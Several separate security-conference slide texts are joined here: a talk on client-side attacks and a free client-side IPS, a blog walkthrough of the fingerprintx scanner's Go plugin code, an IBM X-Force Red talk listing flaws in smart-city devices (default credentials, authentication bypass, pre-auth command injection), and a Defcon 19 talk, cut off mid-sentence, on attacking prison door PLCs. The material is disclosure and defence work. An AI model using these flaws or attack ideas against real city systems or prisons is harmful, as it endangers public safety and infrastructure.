演讲人:赵光远 | pdf |
1
They’re Hacking Our Clients!
Introducing Free Client-side Intrusion Prevention
Jay Beale
Creator - Bastille UNIX
Co-Founder - Intelguardians, Inc.
Copyright 2008 Jay Beale
Intelguardians, Inc
2
Copyright 2008 Jay Beale
Intelguardians, Inc.
Penetration Testing
I work for Intelguardians, a security consulting firm. I get
to do and lead a fair bit of network and application
penetration testing.
A penetration test usually focuses on the compound
question: could a “hacker” break in from the Internet
and how far could he go?
The hard part is getting into the “internal” network.
Once you’re inside, things get far, far easier.
3
Copyright 2008 Jay Beale
Intelguardians, Inc.
Target: Internal Network
Our penetration tests get much, much easier from
the “internal” network.
Most organizations architect their firewalls for
three zones: Internet, DMZ, and Internal
networks.
From any machine in the Internal network, we
usually have an extreme level of access.
4
Copyright 2008 Jay Beale
Intelguardians, Inc.
A Curious Trend in Ethical Hacking
Over the last year, we’re finding that compromising the
Internet-accessible servers has gotten far more difficult.
Increasingly, we’ve been getting to the internal network via
client-side attack, hacking the Security or IT staff’s
workstations via vulnerabilities in their browsers, mail
clients, Acrobat and Office programs.
These attacks have gotten easier for anyone with a copy of
Core IMPACT, Metasploit, or hostile attacker toolkits.
5
Copyright 2008 Jay Beale
Intelguardians, Inc.
Hacking Acrobat Reader
Our clients choose the scope of targeting, often
allowing us to target only the Security staff. On
a penetration test for a company about a year
ago, we were allowed to target only one IT
Security person. He was a tough cookie: IE7
and well-patched.
We used every single client-side exploit. We
compromised his machine with the last exploit,
which targeted Acrobat Reader.
But that was enough. You only need one.
6
Copyright 2008 Jay Beale
Intelguardians, Inc.
Professional Hackers Started Years Ago
Real attackers moved to client-side attack years ago.
There’s so much money in hacking the clients that it’s
become a great business for organized crime.
And this has become so successful, the attackers’ chief
problem became creating an easily-controlled,
scalable means of managing all the systems they’ve
compromised.
And so they brought us the botnet.
7
Copyright 2008 Jay Beale
Intelguardians, Inc.
Workstation Control is Powerful
Most botnet owners have so many machines
that they don’t ever inventory them and
figure out what companies and organizations
they’ve compromised.
Congressional computers were in a botnet. But
nobody changed any laws! Or did they?
8
Copyright 2008 Jay Beale
Intelguardians, Inc.
Penetration Testers
As highly-targeted attackers, penetration testing
teams use these machines as a foothold to hit
the internal organization. We get access to
file shares, cached credentials, and
applications that have never been designed
or audited for security.
Further, even across their worldwide WAN,
even the largest organizations have no filters.
9
Copyright 2008 Jay Beale
Intelguardians, Inc.
Isn’t this Social Engineering?
In the security community, we initially write off these attacks to
social engineering. We blame the user.
Not all exploits require user interaction. And if they do, we’ll
always have some users get fooled. Even if that’s 1/100 of 1%,
it’s bad.
But blaming the non-IT user isn’t fair.
10
Copyright 2008 Jay Beale
Intelguardians, Inc.
Isn’t this Social Engineering?
Blaming the non-IT user isn’t fair.
Your grandmother shouldn’t have to understand vulnerabilities to
read e-mail. You can’t expect her to unless you really make a
driver’s license for computing.
It’s our responsibility as IT architects to train the user, but to
protect them from attack anyway.
What about your mortgage broker’s computer? Or your dentists?
High value target, no IT staff and little training. They’ve
probably been owned.
11
Copyright 2008 Jay Beale
Intelguardians, Inc.
Why is this difficult?
Most organizations’ security has been focused primarily on the
perimeter and on firewalls. That over-focus is decreasing, but
only so fast.
Most security efforts are focused on the servers, particularly those
accessible from the Internet.
This focus really has started to achieve its goal. Hacking
organizations, from the Internet, through their servers, is finally
getting difficult.
But the attackers have moved to attacking the workstation PCs.
And few organizations have kept up with that change in focus.
It’s a difficult problem…
12
Copyright 2008 Jay Beale
Intelguardians, Inc.
Why is this difficult?
First, the numbers are against us. As an attacker, I only need to find one
workstation or laptop that has a vulnerable client out of the 10,000 you
have.
And you thought protecting 150 servers was difficult!
Second, your users can stay disconnected from the network or have their
machines powered off for extended periods. One special case - when
someone leaves the organization, we often turn their system off for six
months, until their position is filled again.
Patching has always been a race condition!
13
Copyright 2008 Jay Beale
Intelguardians, Inc.
What about Patch Management?
The next thing we all think is…this is where patch management products
should make the problem irrelevant.
But:
1)
Not every organization has a commercial patch management tool.
2)
Patch management tools may rely on a host inventory that isn’t
accurate. Here are some hosts commonly left off:
•
Old hosts that aren’t part of the domain or inventory.
•
Dedicated scanning / machine control systems.
•
Hosts brought to the office from partner companies.
•
Legacy systems of any kind!
3)
Patch management tools don’t always track every third-party
product.
14
Copyright 2008 Jay Beale
Intelguardians, Inc.
The State of Internal Patching
Actually, most organizations don’t patch consistently or frequently enough
to avoid this threat.
Even if they can do consistent and frequent patching, they tend to only be
comprehensive for Microsoft software.
Even those that do this perfectly will have trouble keeping organization or
user-installed browser plug-ins up to date.
Well if we’re not solving this problem via patching, what about our regular
vulnerability assessments?
15
Copyright 2008 Jay Beale
Intelguardians, Inc.
Vulnerability Assessments
First, most organizations don’t perform vulnerability assessments more
often than quarterly .
Second, their vulnerability assessments focus on the servers.
That’s natural. Servers actually answer you when you probe them and
usually give you their version/patch level fairly easily.
Clients aren’t quite so helpful…or are they?
16
Copyright 2008 Jay Beale
Intelguardians, Inc.
Clients Identify Themselves Too
A whole lot of client-side software identifies itself often. We just need to
know to listen…or sniff…or read the logs…
First, web browsers tell every server they talk to what version they are:
HTTP_USER_AGENT = Mozilla/5.0
(Macintosh; U; Intel Mac OS X;
en-US; rv:1.8.1.4)
Gecko/20070515 Firefox/2.0.0.4
17
Copyright 2008 Jay Beale
Intelguardians, Inc.
Mail Clients Too…
Mail clients send their version string with every single message. I once had a friend
e-mail me to tell me that my Thunderbird version was old and vulnerable.
Here’s is string from an e-mail I got from another security conference speaker:
User-Agent: Thunderbird 2.0.0.6 (Windows/20070728)
Here are a few more from people I work with:
User-Agent: KMail/1.9.9
X-Mailer: Apple Mail (2.919.2)
18
Copyright 2008 Jay Beale
Intelguardians, Inc.
Watching without Sniffing
If I just watch all the browser user agent strings as people on my network
browse, I could easily give you a list of vulnerable browsers.
But what if I don’t want to sniff the network?
Most large organizations use transparent web proxies to decrease their
Internet bandwidth costs - why download the same CNN graphics
2,000 times today?
Squid proxies, Cisco Cache Engines and many of others, easily log browser
user agent strings. I can watch these for malware and vulnerable
browsers.
Sendmail can be configured to log mail client user agent strings as well.
19
Copyright 2008 Jay Beale
Intelguardians, Inc.
Sniffing
Alternatively, you can sniff the internal links to your outbound mail
relays and outbound transparent web proxies.
But, either way, we’re missing something in the browsers, aren’t
we?
Can anyone tell me what it is?
20
Copyright 2008 Jay Beale
Intelguardians, Inc.
Browser Plugins!
Browser exploitability sometimes relies on third party code that may not
even ship with the browser.
People add their own plug-ins, often automagically when they try to use a
website that needs it.
They don’t necessarily know they need to look for patches. They may not
even know what vendor the plug-in came from, since the site they
were using sent them to the vendor site to download the plug-in.
IT Departments can find it difficult to track these plug-ins, especially when
they didn’t install them!
Let’s look at a couple examples…
21
Copyright 2008 Jay Beale
Intelguardians, Inc.
Adobe Acrobat Reader
The Adobe Acrobat Reader Plugin:
Adobe Acrobat Reader Browser Plug-in for MSIE Malformed PDF
Request DoS
Dec 27, 2006
Adobe Acrobat Reader Plugin for Microsoft IE Microsoft.XMLHTTP
ActiveX CLRF Injection
Dec 27, 2006
Adobe Acrobat Reader Browser Plug-in PDF XSS Dec 27, 2006
Adobe Acrobat Reader Browser Plug-in PDF CSRF
Dec 27,
2006
Adobe Acrobat Reader Browser Plug-in PDF Handling Memory
Corruption
Dec 27, 2006
22
Copyright 2008 Jay Beale
Intelguardians, Inc.
Macromedia Flash Plug-in
The Macromedia Flash Plug-in:
Adobe Macromedia Flash Player Plug-in Multiple Browser Remote Keystroke Disclosure
Apr 11, 2007
Macromedia Flash Flash8b.ocx Flash8b.AllowScriptAccess Method DoS
Dec 29, 2006
Macromedia Flash Player swf Processing Multiple Unspecified Code Execution
Mar 14, 2006
Macromedia Flash Player Flash.ocx ActionDefineFunction Function Arbitrary Code Execution
Nov 7, 2005
Macromedia Flash Player Flash.ocx Unspecified Function Arbitrary Code Execution
Nov 4, 2005
23
Copyright 2008 Jay Beale
Intelguardians, Inc.
Detecting Plug-ins
Rsnake announced an excellent tool for this at Toorcon Seattle:
Master Reconnaissance Tool
Visit this URL to see what your browser’s plug-ins are:
http://ha.ckers.org/mr-t/
Here are some of the highlights from my browser:
Java Embedding Plugin 0.9.6.2
Shockwave Flash 9.0 r28
QuickTime Plug-in 7.1.5
Move-Media-Player.plugin npmnqmp 07074032
JoostPlugin.plugin
24
Copyright 2008 Jay Beale
Intelguardians, Inc.
What about Non-network Software?
The applications targeted most: browsers, mail
clients, browser plug-ins, and Microsoft
Office.
Larry Pesce from the PaulDotCom podcast
highlighted the Metagoofill tool by Christian
Martorella.
http://www.edge-security.com/soft.php
It searches a website in Google for public
documents, including PDF, DOC, XLS, PPT, SDW,
MDB, and SDC.
It then parses out metadata, including creator,
creation time, and version of the client.
25
Copyright 2008 Jay Beale
Intelguardians, Inc.
Document Metadata
If we can pull newly-saved/sent documents from
file shares or sniff them on the wire, we can
parse them for metadata.
If John just created this Word document five
minutes ago, with a vulnerable version of
Word, on John’s laptop, we can be pretty sure
that his laptop still has a vulnerable Word
program!
26
Copyright 2008 Jay Beale
Intelguardians, Inc.
Looking Up Version Strings
So we’ve got version strings accessible to anyone who
can read certain logs. You can get more if you
sniff the network. And still more if you
potentially inject a MR-T iframe in each person’s
browser once per day.
If you put it together with a nightly database update
from OSVDB (http://www.osvdb.org), you’ve got
client-side vulnerability assessment.
But we can go further than this.
27
Copyright 2008 Jay Beale
Intelguardians, Inc.
Client-side IPS
We’ve built a new free tool called Clientside IPS.
http://www.ClientIPS.org
It works as an inline transparent proxy.
If your browser requests an external website while
revealing that it or its plugins have significant
vulnerabilities, I can keep it off the Internet,
redirecting it to a captive patch portal.
28
Copyright 2008 Jay Beale
Intelguardians, Inc.
Client-side IPS for Other Clients
You can do this with other protocols besides web.
In the case of a vulnerable mail client, you
could:
1)
Deny the user access to their mailbox if
their mail client is vulnerable. On their
next web request, we can inject a frame to
explain what’s going on and how to patch.
2)
Inject a mail message into the stream that
explains what is going on.
29
Copyright 2008 Jay Beale
Intelguardians, Inc.
About the Speaker
Jay Beale created two well-known security tools,
Bastille UNIX and the CIS Unix Scoring Tool, both
of which are used throughout industry and
government, and has served as an invited speaker
at many industry and government conferences, a
columnist for Information Security Magazine,
SecurityPortal and SecurityFocus, and an
author/editor on nine books, including those in his
Open Source Security Series and the "Stealing the
Network" series. Jay is a security consultant and
managing partner at Intelguardians, where he gets
to work with brilliant people on topics ranging from
application penetration to virtual machine escape. | pdf |
读读 fingerprintx ,⼀个端⼝指纹识别⼯具
GitHub:https://github.com/praetorian-inc/fingerprintx
fingerprintx是⼀个类似于httpx的实⽤程序,它还⽀持 RDP、SSH、MySQL、PostgreSQL、Kafka 等指纹识
别服务。fingerprintx可以与Naabu等端⼝扫描仪⼀起使⽤,对端⼝扫描期间识别的⼀组端⼝进⾏指纹识别。
例如,⼯程师可能希望扫描 IP 范围,然后快速识别在所有发现的端⼝上运⾏的服务。
输⼊ip+端⼝,就能输出端⼝服务指纹相关的信息
⽀持的协议:
SERVICE
TRANSPORT
SERVICE
TRANSPORT
HTTP
TCP
REDIS
TCP
SSH
TCP
MQTT3
TCP
MODBUS
TCP
VNC
TCP
TELNET
TCP
MQTT5
TCP
FTP
TCP
RSYNC
TCP
SMB
TCP
RPC
TCP
DNS
TCP
OracleDB
TCP
SMTP
TCP
RTSP
TCP
PostgreSQL
TCP
MQTT5
TCP (TLS)
RDP
TCP
HTTPS
TCP (TLS)
POP3
TCP
SMTPS
TCP (TLS)
KAFKA
TCP
MQTT3
TCP (TLS)
MySQL
TCP
RDP
TCP (TLS)
MSSQL
TCP
POP3S
TCP (TLS)
LDAP
TCP
LDAPS
TCP (TLS)
IMAP
TCP
IMAPS
TCP (TLS)
SNMP
UDP
Kafka
TCP (TLS)
OPENVPN
UDP
NETBIOS-NS
UDP
IPSEC
UDP
DHCP
UDP
STUN
UDP
NTP
UDP
DNS
UDP
想看看源码,这些协议是怎么做识别以及怎么组织的。
看官⽅描述,使⽤ fingerprintx 有⼀个快速模式 fast
该fast模式将仅尝试为每个⽬标识别与该端⼝关联的默认服务。例如,如果praetorian.com:8443是输⼊,则
只会https运⾏插件。如果https未在 上运⾏praetorian.com:8443,则不会有输出。为什么要这样做?这是
在⼤量主机列表中识别⼤多数服务的快速⽅法(想想2/8原则 )。
和nmap的区别
⼀个在 8080 端⼝打开的服务器上运⾏的插件是 http 插件。默认服务⽅法在最好的情况下减少了扫描时间。
⼤多数情况下,在端⼝ 80、443、22 上运⾏的服务是 http、https 和 ssh——所以这是fingerprintx⾸先检
查的内容。
插件组织结构
这个项⽬提供了很好的⼀个插件架构,fingerprintx的指纹识别是以插件的形式进⾏的,如ftp识别是⼀个插件,
mysql识别也是⼀个插件。
插件⽬录位于 pkg/plugins/services
虽然不是动态插件加载,作为go的也值得学习。
插件的接⼝是
所有的插件都要实现这些⽅法。
看⼀个简单的插件源码,例如ftp
type Plugin interface {
Run(net.Conn, PluginConfig) (*PluginResults, error) // 运⾏插件,返回结果
PortPriority(uint16) bool // 返回端⼝的优先级,⽐如ssh的端⼝优先级是22,优先级可以让识别更快
Name() string // 返回服务插件的名称
Type() Protocol // 返回该插件的协议类型 TCP或UDP
Priority() int // 插件调⽤的优先级,数字越⼤优先级越⾼
}
package ftp
import (
"net"
"regexp"
"github.com/praetorian-inc/fingerprintx/pkg/plugins"
utils "github.com/praetorian-inc/fingerprintx/pkg/plugins/pluginutils"
)
var ftpResponse = regexp.MustCompile(`^\d{3}[- ](.*)\r`)
const FTP = "ftp"
type FTPPlugin struct{}
func init() {
plugins.RegisterPlugin(&FTPPlugin{})
}
func (p *FTPPlugin) Run(conn net.Conn, config plugins.PluginConfig)
(*plugins.PluginResults, error) {
response, err := utils.Recv(conn, config.Timeout)
if err != nil {
return nil, err
}
if len(response) == 0 {
return nil, nil
}
matches := ftpResponse.FindStringSubmatch(string(response))
if matches == nil {
return nil, nil
}
return &plugins.PluginResults{
Info: map[string]any{
"banner": string(response),
}}, nil
}
func (p *FTPPlugin) PortPriority(i uint16) bool {
return i == 21
}
func (p *FTPPlugin) Name() string {
return FTP
}
func (p *FTPPlugin) Type() plugins.Protocol {
return plugins.TCP
}
func (p *FTPPlugin) Priority() int {
return 10
}
每个插件初始化时候都会进⾏默认注册
跟进``RegisterPlugin \ 函数
他会把实例化的类加⼊到 Plugins 这个全局变量中。在程序初始化中, pkg/scan/plugin_list.go 进⾏初始化
所有插件。
func init() {
plugins.RegisterPlugin(&FTPPlugin{})
}
var Plugins = make(map[Protocol][]Plugin)
var pluginIDs = make(map[PluginID]bool)
// This function must not be run concurrently.
// This function should only be run once per plugin.
func RegisterPlugin(p Plugin) {
id := CreatePluginID(p)
if pluginIDs[id] {
panic(fmt.Sprintf("plugin: Register called twice for driver %+v\n", id))
}
pluginIDs[id] = true
var pluginList []Plugin
if list, exists := Plugins[p.Type()]; exists {
pluginList = list
} else {
pluginList = make([]Plugin, 0)
}
Plugins[p.Type()] = append(pluginList, p)
}
后⾯运⾏直接遍历 Plugins 全局变量的内容即可实现插件化调⽤了。
识别流程
初始化插件,以及对每个类别的插件进⾏排序,按照协议类型 TCP 、 TCPTLS 、 UDP 整理
func setupPlugins() {
if len(sortedTCPPlugins) > 0 {
// already sorted
return
}
sortedTCPPlugins = append(sortedTCPPlugins, plugins.Plugins[plugins.TCP]...)
sortedTCPTLSPlugins = append(sortedTCPTLSPlugins, plugins.Plugins[plugins.TCPTLS]...)
sortedUDPPlugins = append(sortedUDPPlugins, plugins.Plugins[plugins.UDP]...)
fingerxprint的扫描模式分为快速模式和精准模式,快速模式只检查常⽤端⼝对应的服务,所以速度较快,精准模
式不在乎性能,只求精准,会将所有插件都运⾏⼀遍。
End
fingerprintx readme后⾯还提到了zgrab2,也是类似的⽤Go编写的服务指纹识别⼯具,他和zmap是同⼀个项⽬
组,后⾯再看看它的源码。
sort.Slice(sortedTCPPlugins, func(i, j int) bool {
return sortedTCPPlugins[i].Priority() < sortedTCPPlugins[j].Priority()
})
sort.Slice(sortedUDPPlugins, func(i, j int) bool {
return sortedUDPPlugins[i].Priority() < sortedUDPPlugins[j].Priority()
})
sort.Slice(sortedTCPTLSPlugins, func(i, j int) bool {
return sortedTCPTLSPlugins[i].Priority() < sortedTCPTLSPlugins[j].Priority()
})
} | pdf |
Outsmarting the Smart City
DISCOVERING AND ATTACKING THE TECHNOLOGY THAT RUNS
MODERN CITIES
&
2
Page
Researcher Bios
• Daniel Crowley (@dan_crowley)
• Research Baron at IBM X-Force Red
• Pen tester since 2004
• Locksport enthusiast and past competition winner
• Actually holds the title of Baron (in Sealand)
3
Page
Researcher Bios
• Jennifer Savage (@savagejen)
• Security Researcher at Threatcare
• Black Hat review board member
• Experience includes:
̶
development
̶
vulnerability assessment
̶
vulnerability management
̶
penetration testing
̶
security research
4
Page
Researcher Bios
• Mauro Paredes (@mauroparedes)
• Managing Consultant at IBM X-Force Red
• Passion for security flaws and their corrections
• Formerly developer, net/server admin, security architect
• Pen tester for many years
• 20+ years infosec experience in multiple industries
5
Page
What kind of tech makes a city “smart”?
• Industrial Internet of Things
• Urban Automation
• Public Safety / Emergency Management
• Intelligent Transportation Systems
• Metropolitan Area Networks
6
Page
Limited citizen privacy and risk management options
• You don’t have to buy an Alexa
• You can buy a non-smart TV
• You can buy a feature phone (or forego a cell phone)
• You can buy an ancient car
• Can you move to a city that isn’t “smart”?
7
Page
V2I, V2V, OBD-III and DSRC
Connected vehicles communicate with each other, and with city infrastructure, as travel occurs.
The proposed OBD-III standard raises privacy and due process concerns.
8
Page
Hangzhou “City Brain”
“In China, people have less concern with privacy, which allows us to move faster”
- Xian-Sheng Hua, manager of AI at Alibaba at World Summit AI in 2017
9
Page
Smart streetlights with cameras
GE’s Bill Ruh says it’s up to each city to set policies around the data
collected by the sensors and how it can be used.
10
Page
Facial recognition
In 2017 the former head of Singapore’s civil service Peter Ong said Singapore
wants to deploy facial recognition technology to all 110,000 lampposts in the country.
11
Page
Dubai robotic police force
“By 2030, we will have the first smart police station which won’t require human employees” -
Brigadier Khalid Nasser Al Razouqi, Dubai Police’s general director of the Smart Services Department
Reconnaissance
13
Page
Search Engines
• Customer case studies
• News reports
• Smart City Open Data Initiatives
• Some city contracts are public by law
̶
Google: “purchase order” “smart device” site:gov
14
Page
Public Systems Are Already Mapped
• IANA (Internet Assigned Numbers Authority) ranges
• Internet infrastructure search engines
̶
SHODAN
̶
Censys
̶
etc
15
Page
Physical Recon
• Visual observation
• Wireless recon
̶
WiFi
̶
Monitor Unlicensed Bands
̶
Zigbee
̶
LoRaWAN
• Log off and go outside
16
Page
Source Code Repositories
• Github
• Bitbucket
• Gitlab
• OSADP
Case Study: Austin, TX
18
Page
News Reports
“How Austin brought the human touch to smart city planning”
Digital Trends - July 31, 2017
“Austin, TX to test autonomous transit shuttles”
Smart Cities Dive - June 28, 2018
“Austin reinventing itself into a Smart City”
Austin Business Journal - Jul 30, 2017
“Austin is getting its own “smart” street”
The Architect’s Newspaper - August 23, 2017
“How Can Austin Achieve Smart City Status?”
KUT - Mar 14, 2017
19
Page
Austin CityUP
20
Page
From Internet scan data
21
Page
From physical recon
22
Page
From physical recon
23
Page
From Google dorking
Devices and Vulnerabilities
Echelon i.LON SmartServer and
i.LON 600
26
Page
i.LON: What it does
• IP to ICS gateway
̶ LonTalk
̶ P-852
̶ Modbus RTU
̶ Modbus / IP
̶ M-Bus
̶ SOAP/XML Web services
̶ BACnet / IP
27
Page
Probably not OSHA-approved
28
Page
i.LON SmartServer and i.LON 600
Default Web credentials
Default FTP credentials
Unauthenticated API calls (SmartServer only)
Plaintext communications
Authentication bypass
Cleartext password file on FTP
Replace binaries via FTP to execute code
Fiddle with ICS gear
Change IP address of i.LON
Gain access
Do bad things
29
Page
Authentication Bypass
30
Page
Authentication Bypass
31
Page
Authentication Bypass
• SmartServer vs 600
̶
Security Access Mode
32
Page
Leaked exploit from August 2015
Battelle V2I Hub
34
Page
V2I Hub: What it does
• Manages Vehicle to Infrastructure comms
• Modular infrastructure
• Mostly SPaT (signal phase and timing) related
35
Page
V2I Hub v2.5.1
Hard-coded admin account
Various API key issues
XSS
SQLi in API
Missing authentication
Track vehicles
Send false safety messages
Create traffic
…or just power it down
Gain access
Do bad things
36
Page
Unauthenticated shutdown script
37
Page
API Authentication
38
Page
PHP strcmp() weirdness
39
Page
PHP strcmp() weirdness
40
Page
PHP strcmp() weirdness
41
Page
PHP strcmp() weirdness
42
Page
PHP strcmp() weirdness
43
Page
V2I Hub v3.0 SQL Injection
Libelium Meshlium
45
Page
Libelium Meshlium
Missing authentication
Shell command injection
Create false sensor data
Hide real sensor data
Gain access
Do bad things
46
Page
Pre-auth shell command injection
DEMONSTRATION
Implications
49
Page
Surveillance of connected vehicles
50
Page
Traffic manipulation
51
Page
Sabotage disaster warning systems
52
Page
Sabotage of industrial equipment and gateway
QUESTIONS?
[email protected] – [email protected] – [email protected]
ibm.com/security
securityintelligence.com
xforce.ibmcloud.com
@ibmsecurity
youtube/user/ibmsecuritysolutions
© Copyright IBM Corporation 2018. All rights reserved. The information contained in these materials is provided for informational purposes only, and is provided AS IS without warranty of any kind, express or implied. Any
statement of direction represents IBM's current intent, is subject to change or withdrawal, and represent only goals and objectives. IBM, the IBM logo, and other IBM products and services are trademarks of the International
Business Machines Corporation, in the United States, other countries or both. Other company, product, or service names may be trademarks or service marks of others.
Statement of Good Security Practices: IT system security involves protecting systems and information through prevention, detection and response to improper access from within and outside your enterprise. Improper
access can result in information being altered, destroyed, misappropriated or misused or can result in damage to or misuse of your systems, including for use in attacks on others. No IT system or product should be
considered completely secure and no single product, service or security measure can be completely effective in preventing improper use or access. IBM systems, products and services are designed to be part of a lawful,
comprehensive security approach, which will necessarily involve additional operational procedures, and may require other systems, products or services to be most effective. IBM does not warrant that any systems,
products or services are immune from, or will make your enterprise immune from, the malicious or illegal conduct of any party.
FOLLOW US ON:
THANK YOU
& | pdf |
SCADA & PLCs in
Correctional Facilities:
The Nightmare Before Christmas
John Strauchs
Tiffany Rad
Teague Newman
Defcon 19
Analyze SCADA systems and PLC
vulnerabilities in correctional and
government secured facilities
Discuss modern prison design
Theorize possible attack vectors and
routes of malicious code introduction
Explain ladder logic & demo a
vulnerability on a Siemens PLC
Recommend solutions
BS, MA, MBA, JD,
President of ELCnetworks, LLC., in Washington, D.C. &
Portland, ME
› Consulting projects have included law, business and
technology development for start-ups and security
consulting for U.S. government.
A part-time Adjunct Professor in the computer
science department at the University of Southern
Maine teaching computer law, ethics and
information security.
Academic background includes studies at Carnegie
Mellon University, Oxford University, and Tsinghua
University (Beijing, China).
Presented at Black Hat USA, Black Hat Abu Dhabi,
Defcon 17 & 18, SecTor, HOPE in 2008 & 2010, 27C3
and regional information security conferences.
› M.A., C.P.P.
› Senior Principal of Strauchs LLC
› Conducted the security engineering or consulting for more
than 114 justice design (police, courts, and corrections)
projects including 14 federal prisons, 23 state prisons, and
27 city or county jails
› Owned and operated a professional engineering firm,
Systech Group, Inc., for 23 years. Prior to that he was an
equity principal in charge of security engineering for
Gage-Babcock & Associates
Consultant to
Presenter at Hackers On Planet Earth (HOPE) in 2008 and
DojoCon in 2010
Tag-along at Hacking at Random, The Netherlands, 2009
Independent information security consultant based in
the Washington, D.C. and Reno, Nevada areas
In 2009, competed in the Netwars segment of the US
Cyber Challenge and ranked within the Top 10 in the
US in all rounds in which he participated.
Instructor and penetration tester for Core Security
Technologies
› Instructed professionals on the topics of information
security and penetration testing at places like NASA, DHS,
US Army, US Marine Corps (Red Team), DOE, various
nuclear facilities as well as for large corporate enterprises.
Projects include GPU-based password auditing and
liquid nitrogen overclocking.
Exploit Writer
Has a pretty, crafty backpack
Is nice
Is really good at coding
Lives in a tropical area:
› Columbia [Maryland]
Dora backpack ©2011 Viacom International Inc
Provide support for wardens and
corrections administrators to get funding
to fix the problems
Everyone is short of money these days
and they need all the help they can get
To scare prison guards and LEOs to follow
their operating procedures
›
No looking at Gmail or memes in the Control
Room! !
We briefed some Federal Agencies. One was
stealthy, probably difficult to see at night – or ever.
Another has some handsome Agents, but also has
the capability to extend its domestic claws. They are
“friends”
Story of Christmas Eve
Discovered that the correctional facility
contractor had not followed specification
Used two hardware components not specified
and had never been used together
The PLC and the relay were part of the specs.
The ratings were different
The circuit board on the Square D was supposed to
be 0 volts out but more volts went into it with a power
surge and the one-way diode was leaking voltage
When the controls work at 25 milivolts, a low power
spike is all that needs to trigger it
Possibly with increased power consumption on
Christmas Eve, all the doors opened when there was a
power surge
Few people knew what a programmable
logic controller (PLC) was before Stuxnet
when Siemens PLCs in Iran were exploited
& damaged nuclear processing centrifuges
› PLCs have been around for more than 40 years.
Stuxnet research: discussions at Black Hat
Abu Dhabi with Tom Parker and FX
› Tom Parker’s Black Hat Abu Dhabi presentation
› FX’s 27c3 presentation
http://www.youtube.com/watch?v=Q9ezff6LIoI
What if someone wrote a virus or worm,
similar to Stuxnet, but targeted
government or state locations like
correctional facilities?
John Strauchs
A former operations officer with the
CIA
(either the U.S. Central Intelligence
Agency
or the Culinary Institute of America)
My company
and work were
inspirations for
the 1992 movie,
Sneakers for
which I was the
security
consultant
Sneakers ©1992 Universal Studios
The attack was directed against STEP 7,
the Siemens software that is used to
reprogram PLCs.
Supposedly, Microsoft patches
MS08-067, MS10-046 and MS10-061 for
Windows fixed the vulnerabilities that
allowed the compromise
The cyber-security and hacking
communities have been focusing on
SCADA systems in the use of PLCs in the
national infrastructure:
› Power grid
› Pipelines
› Water systems
› And so forth
But…because most people don’t know
how prisons and jails are designed and
constructed, most people didn’t realize
that they are controlled by PLCs.
Prison : A federal or state facility
› Many have hundreds of cells and thousands
of inmates
› Confinement is typically a year to life
Jail : A county, city or town facility
› Most have a few cells but some have many
hundreds of cells, especially regional jails
Orange County Jail, California, has 2540
inmates
› Usually confinement is less than one year
But, pre-trial confinement could be for a
pickpocket or a terrorist or serial killer
In the United States:
› 117 federal correctional facilities
› 1,700 prisons (penitentiaries)
› 3,000 jails
› About 160 are operated by private
companies
And most use PLCs in their electronic
security systems
Housing (Pod)
Control
Central
Control
Typical prison
design
Equipment
Room
Also, may have:
Food Service
Prison Industries
Laundry
Library
Visitation
Health Services
And other
There may be hundreds of
cells
Control
Center
CPU
Monitor
Server
Work
Station
It starts with a
control center…
the master “brain”
for the system
Control
Center
CPU
Lock solenoids or
motors
Lock sensors or limit
switches
Server
Its reason for
being is all about
door control
Control
Center
CPU
Monitor
Duress
alarms
Intercom
Lock solenoids or
motors
Lock sensors or limit
switches
Server
CCTV
It also monitors
and controls many
security
systems…among
others
On-board
graphic
panels for
perimeter
patrols
Rf Link
Fence
sensors
Control
Center
CPU
Monitor
Duress
alarms
Intercom
Lock solenoids or
motors
Lock sensors or limit
switches
Server
CCTV
Work
Station
It
monitors
high
security
perimeter
fences
All of these functions are
monitored and/or
controlled by rack-
mounted PLCs and relay
banks!
Perimeter
Patrols
Rf Link
Fence
Sensors
Control
Center
CPU
PLC
Racks
Relay
Banks
Monitor
Duress
alarms
Intercom
Lock solenoids or
motors
Lock sensors or limit
switches
Admin
Station
Server
CCTV
Work
Station
Pubic telephone
Dayroom TV
Lighting
Showers
Water
Data
Memory
DRAM
CPU Output
Input
Non-
Volatile
Memory
Relay
Lock motor
Lock solenoid
Interlock
Panel switch
Lock sensor
Door sensor
Limit switch
Door control
(+) Power
supply
Programming
device
Communications
There are from 40 to 50 manufacturers. The
PLCs most commonly used in corrections
are:
› Allen-Bradley
› GE Fanuc
› Hitachi
› Mitsubishi
› Panasonic
› Rockwell Automation
› Samsung
› Siemens
› Square-D
Usually 9-pin RS-232 or EIA-485 or Ethernet
Protocols
› Modbus
› LonWorks (Most common)
› BACnet
› DF1
› others
Programming
› Ladder Logic
Most common, esp. for older systems
Weak
› FBD (Function block diagram)
› SFC (Sequential function chart)
› ST (Structured text; viz. Pascal)
› IL (Instruction list)
› BASIC
› C++
In large facilities PLCs monitor many
thousands of points (mostly contact
closures) and control hundreds of
devices (mostly motors and solenoids)
This one door could have as many as 34 points to
monitor
Note
Perimeter gate operators are controlled by
PLCs
Open doors and gates
› Especially in a.m. hours when controls may have
shifted to Central Control because of staffing
shortages.
Cause phased locks (sliders) to go out of
phase
Prevent doors or gates from opening
› Especially during a fire evacuation when “slam-
lock” doors (without remote latch holdback)
can only be unlocked manually with a key.
Guards may not have the key.
Emergency release of entire cell blocks or
entire facility
› Prevent “cascading release” and massive power
in-rush may cause severe damage
Activate door motors and solenoids
› Accelerating high-speed activation of solenoids
› Make them fire off like machine guns
Radio signal-linked graphic panels in patrol
vehicles
› Weak encryption or no encryption
Perimeter fence intrusion detection
systems (FIDS) often have high rates of
nuisance (NAR) and false (FAR) alarm
rates
› Rates can be elevated until zones are shut
down by Central Control
› Exception would be “taut-wire” systems, but
those systems are infrequent
Belief that PLCs are invulnerable
because they are not connected to the
Internet
› Operating system software requires installing
patches and updates
› Correctional facilities need to send and
receive information to and from federal,
state, or local data bases
› Facility operations often require off-site
support from vendors and suppliers (i.e. food
service)
Belief that PLCs are invulnerable because
they are not connected to the Internet
› Some facilities provide Internet access for
inmates
Granted, they aren’t connected to facility
networks
But, Charles Manson smuggled a cell phone into
his cell twice in two years
› Perimeter patrol vehicles have wireless
connections to the fence intrusion detection
system
› Prison intercom systems often have a “patch” to
connect to public telephone (PBX) system
Belief that PLCs are invulnerable
because they are not connected to the
Internet
› After a correctional facility’s electronic
security systems have been designed and
installed, the owner’s IT people show up to
add network connections
› AND…corrections officers sometimes “break
the rules”
You could wreak widespread
pandemonium by severely damaging door
systems and shutting down security,
communications, and video surveillance
› As only one example, a very large prison cannot
instantly, simultaneously open or close all doors.
The power in-rush would be massive, destroying
the electronics and possibly physically
damaging door components. Doors are
